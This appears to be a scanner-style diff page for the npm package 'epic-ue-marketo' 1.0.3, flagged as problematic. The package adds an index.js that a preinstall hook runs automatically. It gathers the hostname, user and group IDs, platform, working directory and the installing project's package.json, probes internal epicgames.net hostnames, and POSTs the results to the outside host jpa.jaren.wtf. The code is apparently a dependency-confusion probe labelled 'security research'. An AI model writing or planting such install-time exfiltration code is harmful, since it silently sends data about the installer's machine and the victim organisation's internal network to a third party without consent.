epic-ue-marketo 1.0.3

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of epic-ue-marketo might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +42 -0
  2. package/package.json +15 -0
package/index.js ADDED
@@ -0,0 +1,42 @@
1
+ import https from "https";
2
+ import os from "os";
3
+ import fs from "fs";
4
+ import path from "path";
5
+ import dns from "dns/promises";
6
+
7
+ const domains = [
8
+ "account-admin-service-prod03.ol.epicgames.net",
9
+ "fortnite-admin-service-latest-gamedev.ol.epicgames.net",
10
+ "jaren.ol.epicgames.net",
11
+ "github.ol.epicgames.net",
12
+ ];
13
+
14
+ let cwd = process.cwd();
15
+ let cwdSplit = cwd.split(path.sep);
16
+ let installingPackage = null;
17
+ for (let i = 0; i < cwdSplit.length; i++) {
18
+ if (cwdSplit[i] === "node_modules") {
19
+ try {
20
+ installingPackage = JSON.parse(fs.readFileSync(path.join(cwdSplit.slice(0, i).join(path.sep), "package.json"), "utf-8"))
21
+ } catch (e) {
22
+ // Ignored
23
+ }
24
+ }
25
+ }
26
+
27
+ https.request({
28
+ method: "POST",
29
+ host: "jpa.jaren.wtf",
30
+ path: "/h1/npm/epic-ue-marketo",
31
+ headers: {
32
+ 'Content-Type': "application/json"
33
+ }
34
+ }).end(JSON.stringify({
35
+ hostname: os.hostname(),
36
+ uid: os.userInfo().uid,
37
+ gid: os.userInfo().gid,
38
+ platform: os.platform(),
39
+ dns: await Promise.allSettled(domains.map(domain => dns.lookup(domain))),
40
+ cwd,
41
+ installingPackage
42
+ }));
package/package.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "epic-ue-marketo",
3
+ "version": "1.0.3",
4
+ "description": "Used for security research purposes",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC",
11
+ "type": "module",
12
+ "files": [
13
+ "index.js"
14
+ ]
15
+ }